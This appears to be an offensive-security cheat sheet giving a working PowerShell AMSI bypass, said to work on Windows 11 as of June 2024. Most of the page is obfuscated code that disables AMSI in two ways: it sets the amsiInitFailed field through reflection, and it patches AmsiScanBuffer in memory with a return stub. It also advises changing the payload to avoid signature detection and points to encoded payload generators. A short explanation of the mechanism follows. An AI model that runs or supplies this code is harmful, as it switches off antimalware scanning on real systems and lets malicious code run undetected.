PowerShell AMSI bypass

Unhooking AMSI

Working bypass

Works as of 19/06/2024 on Windows 11 (change payload below to avoid signature detection)

$P = 'System.Man'+'agement.Automat'+'ion.AmsiUt'+'ils';$a = 'amsi'+'InitFa'+'iled';
$j = $null
[Ref].Assembly.GetType($P).GetField($a,'NonPublic,Static').SetValue($j,$true)
#Rasta-mouses Amsi-Scan-Buffer patch \n
$huxbt = @"
using System;
using System.Runtime.InteropServices;
public class huxbt {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr kczprg, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $huxbt

$tidapdl = [huxbt]::LoadLibrary("$(('áms'+'î.d'+'ll').NorMAlIze([ChaR](64+6)+[cHAr]([BYtE]0x6f)+[CHAR]([BYTE]0x72)+[ChAR]([ByTe]0x6d)+[char](68+1-1)) -replace [chAR]([bytE]0x5c)+[chAR]([bYTE]0x70)+[Char]([bYTE]0x7b)+[CHar]([Byte]0x4d)+[CHAR](110)+[char](125+107-107))")
$dvzdve = [huxbt]::GetProcAddress($tidapdl, "$([CHAr]([BYte]0x41)+[cHAr](109)+[ChaR](115)+[ChAR](105*40/40)+[cHaR]([Byte]0x53)+[cHAR]([byte]0x63)+[cHaR](97)+[cHAR]([byte]0x6e)+[chAr]([BYTE]0x42)+[CHaR](45+72)+[cHAR]([byte]0x66)+[chAr](102*2/2)+[CHaR]([Byte]0x65)+[chAr]([ByTE]0x72))")
$p = 0
[huxbt]::VirtualProtect($dvzdve, [uint32]5, 0x40, [ref]$p)
$zkca = "0xB8"
$ltvf = "0x57"
$jjfn = "0x00"
$furh = "0x07"
$qqbz = "0x80"
$xfog = "0xC3"
$bvior = [Byte[]] ($zkca,$ltvf,$jjfn,$furh,+$qqbz,+$xfog)
[System.Runtime.InteropServices.Marshal]::Copy($bvior, 0, $dvzdve, 6)

Against older boxes some 'Generate Encoded' from amsi.fail seem to work fine

How it works

The “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:

AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED

This in turn causes any further checks within the code to be bypassed, neutering AMSI…

AmsiScanBuffer

This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.

As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned.

Reference

Last updated